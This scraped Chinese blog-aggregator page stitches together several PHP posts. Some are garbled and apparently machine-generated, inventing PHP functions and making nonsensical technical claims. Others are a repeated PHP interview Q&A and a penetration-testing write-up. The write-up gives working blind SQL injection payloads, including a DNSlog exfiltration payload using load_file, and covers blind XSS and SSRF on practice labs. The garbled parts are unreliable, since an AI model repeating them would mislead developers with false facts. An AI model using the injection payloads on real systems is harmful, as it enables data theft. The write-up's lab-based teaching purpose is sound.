谢邀。我这里先占个坑吧。我下周围还要做一个发布会,答完一些大方向的以后再想办法填这个坑。php我不熟,我先抛砖引玉了。一般来说php是不支持字符串截取的,但是可以通过sql_safe加密来实现字符串截取。(不过这个你应该知道是怎么回事吧?)app的话,一般是一个loader来实现。很多文章里面都有教怎么用,我这里就不抄文章里面的例子了。
其实就是替换文本。要是能解密就太nb了,随便搞个java脚本都可以截获php中传递给他的所有信息。他可以封装成json转发到任何一个服务器接受。

谢邀,要是对php比较熟悉,学会了编码就可以试试,调用access_login_function()函数将php页面展示给app端,然后用access_mapper将php中的msg用json()格式化。
php自带一个功能,需要能接受gzip的字符,你可以rewrite,很容易实现,调用...即可
php有内置函数get_file_from_file(url,str)这是一个典型的json(网络数据包)封装,跟java中的封装extend一样,这样就可以把字符串封装成json了你懂我说的是啥么?
php通过charset_encoding识别mozilla或safari浏览器的javascript脚本见
网站优化 • 优采云 发表了文章 • 0 个评论 • 109 次浏览 • 2022-07-18 12:02
php截取字符串网站内容时用script_locale调用mozilla,你的问题就是这样处理的。
js能识别javascript就像正常的其他语言一样是script;其他不能识别的就是javascript,比如c语言能识别java的main,c++则不能识别。
php通过charset_encoding识别mozilla或safari浏览器的javascript脚本
见下图:用于javascript开发和调试的浏览器-extensions可以看到,不同的语言采用的编码不同,而mozilla的extensions在javascript调试时使用字符编码,像:love是采用utf-8编码,bitmap.jpg是采用gbk编码,batcode.vb和batcode.pl是采用utf-16编码。
使用prefix()方法。 查看全部
php通过charset_encoding识别mozilla或safari浏览器的javascript脚本见
php截取字符串网站内容时用script_locale调用mozilla,你的问题就是这样处理的。

js能识别javascript就像正常的其他语言一样是script;其他不能识别的就是javascript,比如c语言能识别java的main,c++则不能识别。

php通过charset_encoding识别mozilla或safari浏览器的javascript脚本
见下图:用于javascript开发和调试的浏览器-extensions可以看到,不同的语言采用的编码不同,而mozilla的extensions在javascript调试时使用字符编码,像:love是采用utf-8编码,bitmap.jpg是采用gbk编码,batcode.vb和batcode.pl是采用utf-16编码。
使用prefix()方法。
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 91 次浏览 • 2022-07-15 03:01
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程

有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程

$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容像pdf一样截取二进制的简单
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-07-08 21:10
php截取字符串网站内容像pdf一样截取字符串,这是php里最不好做的一点。
读取二进制的简单。这是php代码。
keywordsmerge用在中文的话,会有乱码?哪怕已经没有乱码了,也还是会造成很多程序员的困扰吧,如果全中文的话,岂不是比ascii字符表的无限大还要恐怖?看见个中文就写错。怎么玩呢?所以keywordsmerge尽量不要用在中文上。我尝试过用c半角反斜杠,但是php里面,半角反斜杠和全角反斜杠没啥区别,而半角反斜杠就是一个特殊符号。
有这么一个例子,"根"的全角反斜杠用在国家名上,但是php对于这样的符号还是有问题,php对于半角的"根"符号表示upcode="412"(当时php官方做出的解释)。明白这个,可以搭配preg_match或者preg_replace来做一些处理,例如全角反斜杠加led灯,半角反斜杠加灯泡、电机。至于"根"这个东西除了能接一点点定位,有什么特殊用法,有多特殊,这就看搭配的经验和脑洞了。
更麻烦的是大家加工成ascii或utf-8都不一样,所以对于很多crash问题的解决或者文本化以后的用法,keywordsmerge在这里实在是解决不了了。 查看全部
php截取字符串网站内容像pdf一样截取二进制的简单
php截取字符串网站内容像pdf一样截取字符串,这是php里最不好做的一点。

读取二进制的简单。这是php代码。
keywordsmerge用在中文的话,会有乱码?哪怕已经没有乱码了,也还是会造成很多程序员的困扰吧,如果全中文的话,岂不是比ascii字符表的无限大还要恐怖?看见个中文就写错。怎么玩呢?所以keywordsmerge尽量不要用在中文上。我尝试过用c半角反斜杠,但是php里面,半角反斜杠和全角反斜杠没啥区别,而半角反斜杠就是一个特殊符号。

有这么一个例子,"根"的全角反斜杠用在国家名上,但是php对于这样的符号还是有问题,php对于半角的"根"符号表示upcode="412"(当时php官方做出的解释)。明白这个,可以搭配preg_match或者preg_replace来做一些处理,例如全角反斜杠加led灯,半角反斜杠加灯泡、电机。至于"根"这个东西除了能接一点点定位,有什么特殊用法,有多特殊,这就看搭配的经验和脑洞了。
更麻烦的是大家加工成ascii或utf-8都不一样,所以对于很多crash问题的解决或者文本化以后的用法,keywordsmerge在这里实在是解决不了了。
php截取字符串网站内容无法通过php直接截取(代码量太大)
网站优化 • 优采云 发表了文章 • 0 个评论 • 90 次浏览 • 2022-07-04 11:00
php截取字符串网站内容无法通过php直接截取(代码量太大),而是需要用到php插件\sqlalchemy\sqlalchemy\extensions\urlconnection\rewrite\oncompletion等文件,才能实现连接字符串到数据库中,一个extension可以实现多个sql语句,只需要指定extension名称即可。
php文件构造数据库连接实际上是根据标识字符串来获取的,例如:hello::="java";java的标识字符串,而我们需要对应的sql语句即可。实际上一个mysql的脚本在进行执行时,会通过程序运行时脚本解析(explain)自动添加到php代码中,而根据传递的参数自动添加一个数据库连接并成功连接之后会成功执行sql语句,这样就实现了php文件内建sql语句。
php文件中添加sql连接通过oncompletion这个函数可以完成,对应的oncompletion函数实现:explain(sql);这个函数可以实现:sql(:string)参数传递获取方式sql,获取的结果如下图所示:这里创建了一个新的数据库连接执行sql,脚本截取字符串:string::="java";explain(sql);这个函数需要参数oncompletion,可以通过下面这样的形式:explain(function(sql){some_function(some_function);//somefunction,这个需要根据oncompletion把参数传入;});在看看重定向逻辑的实现:explain(sql);,在string::这个参数传递时将会执行这一段代码,而在回车可以实现结束行代码。
参考相关的例子:allowprerequisitesmodules#allowprerequisites:加上#以后就是单元格内指定的内容是否支持object,同时也可以在这个参数里放一个参数:includelib/dll/vendor/../vendor.lib:这个是该库的dll以及mediatek.lib的include目录,存放在该目录就表示是lib库的原始源代码,可以无需预留可以在dll中使用。 查看全部
php截取字符串网站内容无法通过php直接截取(代码量太大)
php截取字符串网站内容无法通过php直接截取(代码量太大),而是需要用到php插件\sqlalchemy\sqlalchemy\extensions\urlconnection\rewrite\oncompletion等文件,才能实现连接字符串到数据库中,一个extension可以实现多个sql语句,只需要指定extension名称即可。

php文件构造数据库连接实际上是根据标识字符串来获取的,例如:hello::="java";java的标识字符串,而我们需要对应的sql语句即可。实际上一个mysql的脚本在进行执行时,会通过程序运行时脚本解析(explain)自动添加到php代码中,而根据传递的参数自动添加一个数据库连接并成功连接之后会成功执行sql语句,这样就实现了php文件内建sql语句。

php文件中添加sql连接通过oncompletion这个函数可以完成,对应的oncompletion函数实现:explain(sql);这个函数可以实现:sql(:string)参数传递获取方式sql,获取的结果如下图所示:这里创建了一个新的数据库连接执行sql,脚本截取字符串:string::="java";explain(sql);这个函数需要参数oncompletion,可以通过下面这样的形式:explain(function(sql){some_function(some_function);//somefunction,这个需要根据oncompletion把参数传入;});在看看重定向逻辑的实现:explain(sql);,在string::这个参数传递时将会执行这一段代码,而在回车可以实现结束行代码。
参考相关的例子:allowprerequisitesmodules#allowprerequisites:加上#以后就是单元格内指定的内容是否支持object,同时也可以在这个参数里放一个参数:includelib/dll/vendor/../vendor.lib:这个是该库的dll以及mediatek.lib的include目录,存放在该目录就表示是lib库的原始源代码,可以无需预留可以在dll中使用。
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-07-03 05:30
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程

有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程

$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容 PHP无回显渗透测试总结
网站优化 • 优采云 发表了文章 • 0 个评论 • 88 次浏览 • 2022-06-26 18:25
0x01前言
在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来判断,方法很多,下面主要进行一些情况的分析。
0x02无回显概念
无回显,即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试过程中,漏洞点不可能总是能够在返回页面进行输出,那么这时候就需要进行一些无回显利用了。
0x03不同漏洞的无回显1、SQL注入无回显
SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。当然SQL注入在无回显上已经具有了一定的解决措施。
无回显我将其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。
1.1 布尔盲注
布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;查询语句为假,页面不输出内容。那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。具体测试过程如下:
1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。
2、在传参后面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。
3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。
4、通过length()函数判断数据库库名的长度大于1。
?id=1' and length(database())>1 %23
5、在大于8的时候页面返回空,所以数据库库名长度等于8。
6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1' and ascii(substr((select database()),1,1))>97 %23
?id=1' and ascii(substr((select database()),1,1))=101 %23
首先用大于号判断出大概所处的值,最后使用等于号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。
7、更改截取的位置,判断后面的字符对应的ascii码值。
?id=1' and ascii(substr((select database()),2,1))=101 %23
1.2 延时盲注
延时盲注,一种盲注的手法。在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。在PHP中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3。配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。
2、通过and拼接延时函数查看页面是否有延时回显。首先记录没有使用延时函数的页面返回时间,为4.秒;使用sleep(5)延时5秒之后,页面响应时间为9.秒,说明对于我们输入的sleep()函数进行了延时处理,此处存在延时盲注。
3、通过延时注入判断数据库库名的长度。一个个测试发现当长度等于8时页面延时返回了,说明数据库库名长度为8。
?id=2' and if((length(database())=8),sleep(5),1) %23
4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相等时延时5秒。最后得到第一个字符的ascii码为115。
?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替换截断的位置,测试后面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具解得数据库库名为security。
巧用dnslog进行SQL注入
前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐,不仅需要一个一个字符的获取,最后还需要进行ascii解码,这需要花费大量的时间与精力。为了加快渗透进程,以及降低获取数据的难度,这里介绍如何通过dnslog进行SQL注入。
Dnslog
dnslog,即dns日志,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说,dnslog就是一个服务器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日志得到需要的数据。
Load_file()函数
数据库中的load_file()函数,可以加载服务器中的内容。load_file('c:/1.txt'),读取文件并返回内容为字符串,使用load_file()函数获取数据需要有以下几个条件:<br /> 1.文件在服务器上<br /> 2.指定完整路径的文件<br /> 3.必须有FILE权限
UNC路径
UNC路径就是类似\\softer这样的形式的网络路径。它符合 **\\服务器名\服务器资源**的格式。在Windows系统中常用于共享文件。如\\192.168.1.1\共享文件夹名。
Dnslog注入实例演示
1、打开实例站点,很明显这里是只能使用盲注的站点。
2、通过order by判断出字段数为3。
3、在dnslog网站申请一个dnslog域名:
4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名。最后将这个查询放到联合查询中,构造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn<br />/abc')) %23<br />
5、执行语句之后在dnslog日志中获取到数据库库名为security。
6、修改子查询里的内容,获取其他数据。
2、XSS无回显
XSS无回显比较特殊,一般XSS漏洞的判断标准为弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就需要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解:
2.1 XSS盲打
1、如图这里是一个提交看法的功能
2、随便输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中
3、登录后台可以看到确实有数据回显
4、输入弹框语句会在后台成功执行
5、在渗透测试过程中我们无法登录后台进行查看,那么就需要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。
2.2 通过dnslog判断漏洞存在
payload:<br />
3、SSRF无回显
SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下:
<br />
首先通过访问百度可以验证漏洞存在
无回显情况即不进行输出,页面返回空
这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG
:// 查看全部
php截取字符串网站内容 PHP无回显渗透测试总结
0x01前言
在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来判断,方法很多,下面主要进行一些情况的分析。
0x02无回显概念
无回显,即执行的payload在站点没有输出,无法进行进一步操作。在渗透测试过程中,漏洞点不可能总是能够在返回页面进行输出,那么这时候就需要进行一些无回显利用了。
0x03不同漏洞的无回显1、SQL注入无回显
SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。当然SQL注入在无回显上已经具有了一定的解决措施。
无回显我将其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。
1.1 布尔盲注
布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;查询语句为假,页面不输出内容。那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。具体测试过程如下:
1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。
2、在传参后面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。
3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。
4、通过length()函数判断数据库库名的长度大于1。
?id=1' and length(database())>1 %23
5、在大于8的时候页面返回空,所以数据库库名长度等于8。
6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1' and ascii(substr((select database()),1,1))>97 %23
?id=1' and ascii(substr((select database()),1,1))=101 %23
首先用大于号判断出大概所处的值,最后使用等于号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。
7、更改截取的位置,判断后面的字符对应的ascii码值。
?id=1' and ascii(substr((select database()),2,1))=101 %23
1.2 延时盲注
延时盲注,一种盲注的手法。在渗透测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。在PHP中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3。配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。
2、通过and拼接延时函数查看页面是否有延时回显。首先记录没有使用延时函数的页面返回时间,为4.秒;使用sleep(5)延时5秒之后,页面响应时间为9.秒,说明对于我们输入的sleep()函数进行了延时处理,此处存在延时盲注。
3、通过延时注入判断数据库库名的长度。一个个测试发现当长度等于8时页面延时返回了,说明数据库库名长度为8。
?id=2' and if((length(database())=8),sleep(5),1) %23
4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相等时延时5秒。最后得到第一个字符的ascii码为115。
?id=2' and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
5、后面替换截断的位置,测试后面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具解得数据库库名为security。
巧用dnslog进行SQL注入
前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据需要的步骤非常繁琐,不仅需要一个一个字符的获取,最后还需要进行ascii解码,这需要花费大量的时间与精力。为了加快渗透进程,以及降低获取数据的难度,这里介绍如何通过dnslog进行SQL注入。
Dnslog
dnslog,即dns日志,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说,dnslog就是一个服务器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日志得到需要的数据。

Load_file()函数
数据库中的load_file()函数,可以加载服务器中的内容。load_file('c:/1.txt'),读取文件并返回内容为字符串,使用load_file()函数获取数据需要有以下几个条件:<br /> 1.文件在服务器上<br /> 2.指定完整路径的文件<br /> 3.必须有FILE权限
UNC路径
UNC路径就是类似\\softer这样的形式的网络路径。它符合 **\\服务器名\服务器资源**的格式。在Windows系统中常用于共享文件。如\\192.168.1.1\共享文件夹名。
Dnslog注入实例演示
1、打开实例站点,很明显这里是只能使用盲注的站点。
2、通过order by判断出字段数为3。
3、在dnslog网站申请一个dnslog域名:
4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名。最后将这个查询放到联合查询中,构造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn<br />/abc')) %23<br />
5、执行语句之后在dnslog日志中获取到数据库库名为security。
6、修改子查询里的内容,获取其他数据。
2、XSS无回显
XSS无回显比较特殊,一般XSS漏洞的判断标准为弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就需要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解:
2.1 XSS盲打
1、如图这里是一个提交看法的功能
2、随便输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中
3、登录后台可以看到确实有数据回显
4、输入弹框语句会在后台成功执行
5、在渗透测试过程中我们无法登录后台进行查看,那么就需要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。
2.2 通过dnslog判断漏洞存在
payload:<br />
3、SSRF无回显
